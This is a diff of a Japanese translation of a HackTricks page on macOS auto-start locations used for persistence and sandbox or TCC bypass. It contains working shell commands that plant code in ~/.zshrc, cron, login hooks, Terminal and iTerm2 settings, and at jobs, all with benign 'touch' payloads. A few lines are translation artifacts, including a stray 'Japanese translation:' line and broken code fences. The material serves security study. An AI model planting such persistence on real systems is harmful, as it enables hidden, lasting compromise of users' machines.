Launchd @@ -48,16 +48,16 @@ HackTricksをサポートする他の方法: #### 説明と悪用 -**`launchd`**は、OX Sカーネルによって起動時に最初に実行され、シャットダウン時に最後に終了する**プロセス**です。常に**PID 1**を持っているべきです。このプロセスは、**ASEP** **plists**に示された構成を**読み込んで実行**します: +**`launchd`**は、OX Sカーネルによって起動時に最初に実行され、シャットダウン時に最後に終了する**プロセス**です。常に**PID 1**を持っている必要があります。このプロセスは、**ASEP** **plists**に示された構成を**読み取り**、**実行**します。 - `/Library/LaunchAgents`:管理者によってインストールされたユーザーごとのエージェント - `/Library/LaunchDaemons`:管理者によってインストールされたシステム全体のデーモン -- `/System/Library/LaunchAgents`:Appleによって提供されたユーザーごとのエージェント -- `/System/Library/LaunchDaemons`:Appleによって提供されたシステム全体のデーモン +- `/System/Library/LaunchAgents`:Appleによって提供されるユーザーごとのエージェント +- `/System/Library/LaunchDaemons`:Appleによって提供されるシステム全体のデーモン -ユーザーがログインすると、`/Users/$USER/Library/LaunchAgents`および`/Users/$USER/Library/LaunchDemons`にある**plists**が**ログインしたユーザーの権限**で開始されます。 +ユーザーがログインすると、`/Users/$USER/Library/LaunchAgents`および`/Users/$USER/Library/LaunchDemons`にある**plists**が**ログインユーザーの権限**で開始されます。 -**エージェントとデーモンの主な違いは、エージェントはユーザーがログインすると読み込まれ、デーモンはシステムの起動時に読み込まれる**ことです(sshなどのサービスは、システムにアクセスする前に実行する必要があるため)。また、エージェントはGUIを使用できますが、デーモンはバックグラウンドで実行する必要があります。 +**エージェントとデーモンの主な違いは、エージェントはユーザーがログインすると読み込まれ、デーモンはシステムの起動時に読み込まれる**ことです(システムにアクセスする前にsshなどのサービスが実行される必要があるため)。また、エージェントはGUIを使用できますが、デーモンはバックグラウンドで実行する必要があります。 ```xml @@ -80,21 +80,21 @@ HackTricksをサポートする他の方法: ``` -いくつかの場合では、**ユーザーがログインする前にエージェントを実行する必要がある**ことがあります。これらは**PreLoginAgents**と呼ばれます。たとえば、これはログイン時に支援技術を提供するのに役立ちます。これらは`/Library/LaunchAgents`にも見つけることができます([**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)を参照)。 +いくつかのケースでは、**ユーザーがログインする前にエージェントを実行する必要がある**場合があります。これらは**PreLoginAgents**と呼ばれます。たとえば、これはログイン時に支援技術を提供するのに役立ちます。`/Library/LaunchAgents`にも見つけることができます([**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)を参照)。 {% hint style="info" %} -新しいデーモンまたはエージェントの構成ファイルは、**次回の再起動後または** `launchctl load ` **を使用して読み込まれます。** 拡張子なしの.plistファイルを `launchctl -F ` **で読み込むことも可能です**(ただし、これらのplistファイルは再起動後に自動的に読み込まれません)。\ -`launchctl unload ` **でアンロードすることも可能です**(それを指すプロセスは終了します)。 +新しいデーモンやエージェントの構成ファイルは、**次回の再起動後**または`launchctl load `を使用して**ロードされます**。`.plist`の拡張子なしで`.plist`ファイルをロードすることも可能ですが、(ただし、これらの`.plist`ファイルは再起動後に自動的にロードされません)。\ +`launchctl unload `で**アンロード**することも可能です(それを指すプロセスは終了します)。 -**エージェント**または**デーモン**が**実行されるのを妨げるもの**(オーバーライドなど)がないことを**確認する**には、`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`を実行してください。 +**エージェント**または**デーモン**が**実行されるのを妨げる**(オーバーライドなど)**何もないこと**を**確認**するには、次のコマンドを実行します:`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` {% endhint %} -現在のユーザーによって読み込まれているすべてのエージェントとデーモンをリストアップします: +現在のユーザーによってロードされているすべてのエージェントとデーモンをリストアップします: ```bash launchctl list ``` {% hint style="warning" %} -plistがユーザーに所有されている場合、デーモンシステムワイドフォルダにあっても、**タスクはユーザーとして実行**され、rootとして実行されません。これにより特権昇格攻撃を防ぐことができます。 +もしplistがユーザーに所有されている場合、それがデーモンシステムワイドフォルダにあっても、**タスクはユーザーとして実行**され、rootとして実行されません。これにより特権昇格攻撃を防ぐことができます。 {% endhint %} ### シェル起動ファイル @@ -106,7 +106,7 @@ plistがユーザーに所有されている場合、デーモンシステムワ * TCCバイパス: [✅](https://emojipedia.org/check-mark-button) * ただし、これらのファイルを読み込むシェルを実行するTCCバイパスを持つアプリを見つける必要があります -#### 位置 +#### ロケーション * **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** * **トリガー**: zshでターミナルを開く @@ -121,14 +121,14 @@ plistがユーザーに所有されている場合、デーモンシステムワ * 他にもあるかもしれない: **`man zsh`** * **`~/.bashrc`** * **トリガー**: bashでターミナルを開く -* `/etc/profile` (動作しなかった) -* `~/.profile` (動作しなかった) +* `/etc/profile` (動作せず) +* `~/.profile` (動作せず) * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` -* **トリガー**: xtermでトリガーされることが期待されていますが、**インストールされていません**。インストール後もこのエラーが発生します: xterm: `DISPLAY is not set` +* **トリガー**: xtermでトリガーされると予想されていますが、**インストールされていません**。インストール後もこのエラーが表示されます: xterm: `DISPLAY is not set` #### 説明と悪用 -`zsh`や`bash`などのシェル環境を初期化するとき、**特定の起動ファイルが実行**されます。 macOSは現在、デフォルトシェルとして`/bin/zsh`を使用しています。このシェルは、Terminalアプリケーションが起動されるときやデバイスがSSH経由でアクセスされるときに自動的にアクセスされます。 macOSには`bash`や`sh`も存在しますが、使用するには明示的に呼び出す必要があります。 +`zsh`や`bash`などのシェル環境を初期化するとき、**特定の起動ファイルが実行**されます。macOSは現在、デフォルトシェルとして`/bin/zsh`を使用しています。このシェルは、Terminalアプリケーションが起動されたときやデバイスがSSH経由でアクセスされたときに自動的にアクセスされます。`bash`や`sh`もmacOSに存在しますが、使用するには明示的に呼び出す必要があります。 `man zsh`で読むことができるzshのmanページには、起動ファイルの詳細な説明があります。 ```bash @@ -138,10 +138,10 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc ### 再オープンされたアプリケーション {% hint style="danger" %} -指定された悪用の設定とログアウト、ログイン、または再起動を行っても、アプリを実行できませんでした。(アプリが実行されていなかったため、これらのアクションを実行する際に実行されている必要があるかもしれません) +指定された悪用の設定とログアウト、ログイン、または再起動を行っても、アプリを実行することができませんでした。(アプリが実行されていなかった可能性があります。これらのアクションが実行されるときに実行される必要があるかもしれません) {% endhint %} -**解説**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) +**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) * サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) * TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) @@ -149,13 +149,13 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc #### 位置 * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -* **トリガー**: アプリケーションの再オープン時に再起動 +* **トリガー**: アプリケーションの再オープンを再起動 #### 説明と悪用 再オープンするすべてのアプリケーションは、plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist`内にあります。 -したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、**アプリをリストに追加するだけ**です。 +したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、**アプリをリストに追加**するだけです。 UUIDは、そのディレクトリをリストアップするか、`ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`で見つけることができます。 @@ -188,11 +188,11 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist #### 説明と悪用 -**`~/Library/Preferences`** には、ユーザーのアプリケーションの設定が保存されています。これらの設定の一部には、**他のアプリケーション/スクリプトを実行**する構成が含まれることがあります。 +**`~/Library/Preferences`** には、アプリケーションのユーザーの設定が保存されています。これらの設定の一部には、**他のアプリケーション/スクリプトを実行**する構成が含まれることがあります。 たとえば、ターミナルは起動時にコマンドを実行できます: -
+
この設定は、ファイル **`~/Library/Preferences/com.apple.Terminal.plist`** に次のように反映されます: ```bash @@ -210,11 +210,15 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist } [...] ``` -したがって、システム内のターミナルの設定ファイル(plist)が上書きされると、**`open`** 機能を使用して **ターミナルを開き、そのコマンドが実行されます**。 +Japanese translation: -これをCLIから追加することができます: +```markdown +したがって、システム内のターミナルの設定のplistが上書きされると、**`open`**機能を使用して**ターミナルを開き、そのコマンドが実行されます**。 + +これをcliから追加することができます: {% code overflow="wrap" %} +``` ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -238,9 +242,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist #### 説明と悪用 -[**`.terminal`**スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**ターミナルアプリケーション**が自動的に起動され、そこで指定されたコマンドが実行されます。ターミナルアプリに特別な特権(TCCなど)がある場合、コマンドはその特別な特権で実行されます。 +[**`.terminal`**スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**ターミナルアプリケーション**が自動的に起動され、そこで指定されたコマンドが実行されます。ターミナルアプリに特別な権限(TCCなど)がある場合、その特別な権限でコマンドが実行されます。 -試してみてください: +以下で試してみてください: ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -273,23 +277,23 @@ open /tmp/test.terminal 解説: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ 解説: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) -- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle) -- 追加のTCCアクセスを取得する可能性があります +* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +* TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle) +* いくつかの追加のTCCアクセスを取得する可能性があります #### 位置 -- **`/Library/Audio/Plug-Ins/HAL`** -- ルート権限が必要 -- **トリガー**: coreaudiodまたはコンピューターを再起動 -- **`/Library/Audio/Plug-ins/Components`** -- ルート権限が必要 -- **トリガー**: coreaudiodまたはコンピューターを再起動 -- **`~/Library/Audio/Plug-ins/Components`** -- **トリガー**: coreaudiodまたはコンピューターを再起動 -- **`/System/Library/Components`** -- ルート権限が必要 -- **トリガー**: coreaudiodまたはコンピューターを再起動 +* **`/Library/Audio/Plug-Ins/HAL`** +* ルート権限が必要 +* **トリガー**: coreaudiodまたはコンピューターを再起動 +* **`/Library/Audio/Plug-ins/Components`** +* ルート権限が必要 +* **トリガー**: coreaudiodまたはコンピューターを再起動 +* **`~/Library/Audio/Plug-ins/Components`** +* **トリガー**: coreaudiodまたはコンピューターを再起動 +* **`/System/Library/Components`** +* ルート権限が必要 +* **トリガー**: coreaudiodまたはコンピューターを再起動 #### 説明 @@ -299,41 +303,41 @@ open /tmp/test.terminal 解説: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) -- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) -- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle) -- 追加のTCCアクセスを取得する可能性があります +* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +* TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle) +* いくつかの追加のTCCアクセスを取得する可能性があります #### 位置 -- `/System/Library/QuickLook` -- `/Library/QuickLook` -- `~/Library/QuickLook` -- `/Applications/AppNameHere/Contents/Library/QuickLook/` -- `~/Applications/AppNameHere/Contents/Library/QuickLook/` +* `/System/Library/QuickLook` +* `/Library/QuickLook` +* `~/Library/QuickLook` +* `/Applications/AppNameHere/Contents/Library/QuickLook/` +* `~/Applications/AppNameHere/Contents/Library/QuickLook/` #### 説明と悪用 -QuickLookプラグインは、**ファイルのプレビューをトリガーすると**(Finderでファイルを選択してスペースバーを押す)、**そのファイルタイプをサポートするプラグイン**がインストールされている場合に実行されます。 +QuickLookプラグインは、**ファイルのプレビューをトリガー**し(Finderでファイルを選択してスペースバーを押す)、そのファイルタイプをサポートする**プラグインがインストールされている**場合に実行されます。 独自のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置してロードし、サポートされるファイルに移動してスペースを押してトリガーすることが可能です。 ### ~~ログイン/ログアウトフック~~ {% hint style="danger" %} -私には機能しませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした。 +私にはうまくいきませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした {% endhint %} **解説**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) -- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) -- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) +* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) #### 位置 -- `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`のようなコマンドを実行できる必要があります -- `~/Library/Preferences/com.apple.loginwindow.plist`にあります +* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`のようなコマンドを実行できる必要があります +* `~/Library/Preferences/com.apple.loginwindow.plist`にあります -これらは非推奨ですが、ユーザーがログインするときにコマンドを実行するために使用できます。 +これらは非推奨ですが、ユーザーがログインするときにコマンドを実行するために使用することができます。 ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -360,12 +364,12 @@ oneTimeSSMigrationComplete = 1; defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` -**ルートユーザー**は**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**に保存されています。 +**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**に格納されているのは、rootユーザーのものです。 ## 条件付きサンドボックス回避 {% hint style="success" %} -ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで単純に実行**し、特定の**インストールされたプログラム、"一般的でない"ユーザー**のアクションや環境など、**非常に一般的でない条件**を期待することができます。 +ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、**ファイルに書き込んで単純に実行**することができ、特定の**インストールされたプログラム、"一般的でない"ユーザー**のアクションや環境のような**非常に一般的でない条件**を期待することができます。 {% endhint %} ### Cron @@ -374,13 +378,13 @@ defaults delete com.apple.loginwindow LogoutHook * サンドボックス回避に役立つ: [✅](https://emojipedia.org/check-mark-button) * ただし、`crontab`バイナリを実行できる必要があります -* または、ルートである必要があります +* またはrootである必要があります * TCC回避: [🔴](https://emojipedia.org/large-red-circle) #### 場所 * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** -* 直接書き込みアクセスにはルートが必要です。`crontab `を実行できる場合はルートが不要です +* 直接書き込みアクセスにはrootが必要です。`crontab `を実行できる場合はrootは必要ありません * **トリガー**: cronジョブに依存します #### 説明と悪用 @@ -396,9 +400,9 @@ MacOSでは、**特定の頻度**でスクリプトを実行するいくつか # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` -以下では、通常の**cron** **ジョブ**、あまり使用されていない**at** **ジョブ**、および一時ファイルのクリーニングに主に使用される**periodic** **ジョブ**が見つかります。 日次の一時ジョブは、例えば次のように実行できます:`periodic daily`。 +以下では、通常の**cron** **ジョブ**、あまり使用されていない**at** **ジョブ**、および一時ファイルのクリーニングに主に使用される**periodic** **ジョブ**が見つかります。 日次のperiodicジョブは、例えば次のように実行できます:`periodic daily`。 -**ユーザーのcronジョブをプログラムで追加**するには、次のようにします: +**ユーザーのcronジョブをプログラムで追加**するには、次のようにすることができます: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron @@ -407,9 +411,9 @@ crontab /tmp/cron Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/) -* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +* 便利なサンドボックス回避: [✅](https://emojipedia.org/check-mark-button) * TCCバイパス: [✅](https://emojipedia.org/check-mark-button) -* iTerm2は以前TCC権限を付与していました +* iTerm2はTCC権限を付与していました #### ロケーション @@ -422,7 +426,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit. #### 説明と悪用 -**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**に保存されたスクリプトが実行されます。例: +**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**に保存されたスクリプトが実行されます。例えば: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -431,34 +435,7 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` -### macOS Auto Start Locations - -macOS has several locations where applications and services can be configured to automatically start when a user logs in. It is important to review and manage these auto-start locations to ensure that only necessary and trusted applications are launched at startup. - -#### User Login Items - -User-specific login items can be managed in **System Preferences > Users & Groups > Login Items**. Users can add or remove applications from this list to control which applications launch at login. - -#### Launch Agents and Daemons - -Launch Agents and Daemons are system-wide auto-start mechanisms that execute scripts or programs. They are located in the following directories: - -- `/Library/LaunchAgents` -- `/Library/LaunchDaemons` -- `/System/Library/LaunchAgents` -- `/System/Library/LaunchDaemons` - -Review the contents of these directories to identify and manage auto-start configurations. - -#### Startup Items - -Startup Items are legacy auto-start locations that are deprecated in macOS. They are located in the `/Library/StartupItems` directory. Review and remove any unnecessary items from this directory. - -#### Login Hooks - -Login Hooks are deprecated in macOS but can still be used. They are scripts located in the `/Library/Security/SecurityAgentPlugins` directory. Review and remove any unnecessary login hooks. - -By reviewing and managing these auto-start locations, you can improve the security and performance of your macOS system. +または: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 @@ -483,7 +460,7 @@ iTerm2の設定は**`~/Library/Preferences/com.googlecode.iterm2.plist`**にあ この設定はiTerm2の設定で構成できます: -
+
そして、コマンドは設定に反映されます: ```bash @@ -495,7 +472,7 @@ plutil -p com.googlecode.iterm2.plist [...] "Initial Text" => "touch /tmp/iterm-start-command" ``` -次のコマンドを実行するように設定できます: +次のようにして、実行するコマンドを設定できます: {% code overflow="wrap" %} ```bash @@ -511,17 +488,17 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 {% endcode %} {% hint style="warning" %} -**iTerm2の設定**を悪用する他の方法が**高い可能性**があります。 +**iTerm2の設定を悪用する他の方法**が非常に可能性が高いです。 {% endhint %} ### xbar -Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) +解説: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) * サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) * ただし、xbarをインストールする必要があります * TCCバイパス: [✅](https://emojipedia.org/check-mark-button) -* アクセシビリティ権限をリクエストします +* アクセシビリティ権限が必要です #### 位置 @@ -543,9 +520,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" **解説**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) * サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) -* ただし、Hammerspoonをインストールする必要がある +* ただし、Hammerspoonをインストールする必要があります * TCCバイパス: [✅](https://emojipedia.org/check-mark-button) -* アクセシビリティ権限が必要 +* アクセシビリティ権限が必要です #### 位置 @@ -554,9 +531,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" #### 説明 -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)は、**macOS**向けの自動化プラットフォームとして機能し、**LUAスクリプト言語**を活用しています。特筆すべきは、完全なAppleScriptコードの統合とシェルスクリプトの実行をサポートし、スクリプトの機能を大幅に向上させています。 +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) は、**macOS**向けの自動化プラットフォームとして機能し、**LUAスクリプト言語**を活用しています。特筆すべきは、完全なAppleScriptコードの統合とシェルスクリプトの実行をサポートし、スクリプトの機能を大幅に向上させています。 -このアプリは、単一のファイル`~/.hammerspoon/init.lua`を探し、スクリプトが実行されます。 +このアプリは、単一のファイルである `~/.hammerspoon/init.lua` を探し、スクリプトが実行されます。 ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF @@ -565,27 +542,27 @@ EOF ``` ### BetterTouchTool -* **役立つ:** [✅](https://emojipedia.org/check-mark-button) -* ただしBetterTouchToolをインストールする必要があります -* TCCバイパス: [✅](https://emojipedia.org/check-mark-button) -* Automation-ShortcutsとAccessibilityのアクセス許可が必要です +* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button) +* ただし、BetterTouchToolをインストールする必要があります +* TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +* Automation-ShortcutsおよびAccessibility権限が必要です #### 位置 -* `~/Library/Application Support/BetterTouchTool/*` +* `~/Library/Application Support/BetterTouchTool/*` -このツールは、特定のショートカットが押されたときにアプリケーションやスクリプトを指定することができます。攻撃者は、任意のコードを実行するように**ショートカットとアクションをデータベースに設定**することができます(ショートカットは単にキーを押すだけでも可能です)。 +このツールは、特定のショートカットが押されたときにアプリケーションやスクリプトを実行することができます。攻撃者は、**データベース内で独自のショートカットとアクションを設定して任意のコードを実行する**可能性があります(ショートカットは単にキーを押すだけでも可能です)。 ### Alfred -* **役立つ:** [✅](https://emojipedia.org/check-mark-button) -* ただしAlfredをインストールする必要があります -* TCCバイパス: [✅](https://emojipedia.org/check-mark-button) -* Automation、Accessibility、さらにはFull-Diskアクセスのアクセス許可が必要です +* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button) +* ただし、Alfredをインストールする必要があります +* TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +* Automation、Accessibility、さらにはFull-Diskアクセス権限が必要です #### 位置 -* `???` +* `???` 特定の条件が満たされたときにコードを実行できるワークフローを作成できます。攻撃者がワークフローファイルを作成し、Alfredがそれをロードする可能性があります(ワークフローを使用するにはプレミアムバージョンを購入する必要があります)。 @@ -593,18 +570,18 @@ EOF 解説: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) -* **役立つ:** [✅](https://emojipedia.org/check-mark-button) -* ただしsshを有効にして使用する必要があります -* TCCバイパス: [✅](https://emojipedia.org/check-mark-button) -* SSHはFDAアクセスを持っている必要があります +* 便利なサンドボックス回避方法: [✅](https://emojipedia.org/check-mark-button) +* ただし、sshを有効にして使用する必要があります +* TCCバイパス: [✅](https://emojipedia.org/check-mark-button) +* SSHはFDAアクセスを持っている必要があります #### 位置 -* **`~/.ssh/rc`** -* **トリガー**: ssh経由でログイン -* **`/etc/ssh/sshrc`** -* ルートが必要 -* **トリガー**: ssh経由でログイン +* **`~/.ssh/rc`** +* **トリガー**: ssh経由でログイン +* **`/etc/ssh/sshrc`** +* ルート権限が必要 +* **トリガー**: ssh経由でログイン {% hint style="danger" %} sshをオンにするにはFull Disk Accessが必要です: @@ -613,31 +590,31 @@ sudo systemsetup -setremotelogin on ``` {% endhint %} -#### 説明 & 悪用 +#### 説明 & Exploitation -デフォルトでは、`/etc/ssh/sshd_config` に `PermitUserRC no` がない限り、ユーザが **SSH 経由でログイン** すると、スクリプト **`/etc/ssh/sshrc`** と **`~/.ssh/rc`** が実行されます。 +デフォルトでは、`/etc/ssh/sshd_config`内で`PermitUserRC no`が指定されていない限り、ユーザが**SSH経由でログイン**すると、スクリプト**`/etc/ssh/sshrc`**と**`~/.ssh/rc`**が実行されます。 ### **ログインアイテム** -解説: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) * サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) -* ただし、`osascript` を引数と共に実行する必要があります -* TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) +* ただし、`osascript`を引数と共に実行する必要があります +* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) #### ロケーション * **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** * **トリガー:** ログイン -* 悪用ペイロードは **`osascript`** を呼び出して保存されています +* Exploitペイロードは**`osascript`**を呼び出して保存されています * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** * **トリガー:** ログイン * ルート権限が必要 #### 説明 -システム環境設定 -> ユーザとグループ -> **ログイン項目** で、**ユーザがログインすると実行される項目** を見つけることができます。\ -これらをコマンドラインからリストアップ、追加、削除することが可能です: +システム環境設定 -> ユーザとグループ -> **ログイン項目**には、**ユーザがログインするときに実行される項目**があります。\ +これらをコマンドラインからリストアップ、追加、削除することが可能です。 ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -650,15 +627,15 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' ``` これらのアイテムはファイル**`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**に保存されています。 -**ログインアイテム**は、API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用して指定することもでき、その構成は**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**に保存されます。 +**ログインアイテム**は、API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用して指定することもでき、このAPIは構成を**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**に保存します。 -### ZIPをログインアイテムとして使用 +### ZIPをログインアイテムとして使用する (ログインアイテムに関する前のセクションを確認してください、これは拡張です) -**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、**`~/Library`**に保存され、バックドアを含むフォルダ**`LaunchAgents/file.plist`**が含まれているZIPがある場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されるため、次回ユーザーが再ログインすると、**plistで指定されたバックドアが実行**されます。 +**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、ZIPファイルが**`~/Library`**に保存され、バックドアを含む**`LaunchAgents/file.plist`**というフォルダが含まれている場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されるため、次回ユーザーが再ログインすると、**plistで指定されたバックドアが実行**されます。 -別のオプションは、ユーザーのホーム内にファイル**`.bash_profile`**と**`.zshenv`**を作成することです。したがって、LaunchAgentsフォルダがすでに存在する場合でも、このテクニックは機能します。 +別のオプションとして、ユーザーのホームディレクトリに**`.bash_profile`**と**`.zshenv`**ファイルを作成することもできます。したがって、LaunchAgentsフォルダがすでに存在する場合でも、このテクニックは機能します。 ### At @@ -680,7 +657,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` -これは1時間でファイルを作成します。 +これは1時間後にファイルを作成します。 ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` @@ -690,7 +667,7 @@ sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` -上記では、スケジュールされた2つのジョブが表示されます。`at -c JOBNUMBER`を使用してジョブの詳細を表示できます。 +上記では2つのスケジュールされたジョブが表示されています。`at -c JOBNUMBER`を使用してジョブの詳細を表示できます。 ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -736,9 +713,9 @@ total 32 ``` ファイル名には、キュー、ジョブ番号、および実行予定時刻が含まれています。例として、`a0001a019bdcd2`を見てみましょう。 -- `a` - これはキューです -- `0001a` - 16進数でのジョブ番号、`0x1a = 26` -- `019bdcd2` - 16進数での時刻。エポックから経過した分を表します。`0x019bdcd2`は10進数で`26991826`です。これを60倍すると`1619509560`になり、これは`GMT: 2021年4月27日、火曜日7時46分00秒`です。 +* `a` - これはキューです +* `0001a` - 16進数でのジョブ番号、`0x1a = 26` +* `019bdcd2` - 16進数での時間。エポック以降の経過分を表します。`0x019bdcd2`は10進数で`26991826`です。これを60倍すると`1619509560`になり、これは`GMT: 2021年4月27日、火曜日 7:46:00`です。 ジョブファイルを印刷すると、`at -c`を使用して取得した情報と同じであることがわかります。 @@ -747,29 +724,29 @@ total 32 解説: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ 解説: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) -- ただし、**`System Events`**に連絡するために`osascript`を引数付きで呼び出せる必要があります -- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle) -- デスクトップ、ドキュメント、ダウンロードなど、いくつかの基本的なTCC権限があります +* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +* ただし、**`System Events`**に連絡するために`osascript`を引数付きで呼び出せる必要があり、フォルダアクションを構成できるようにする必要があります +* TCCバイパス: 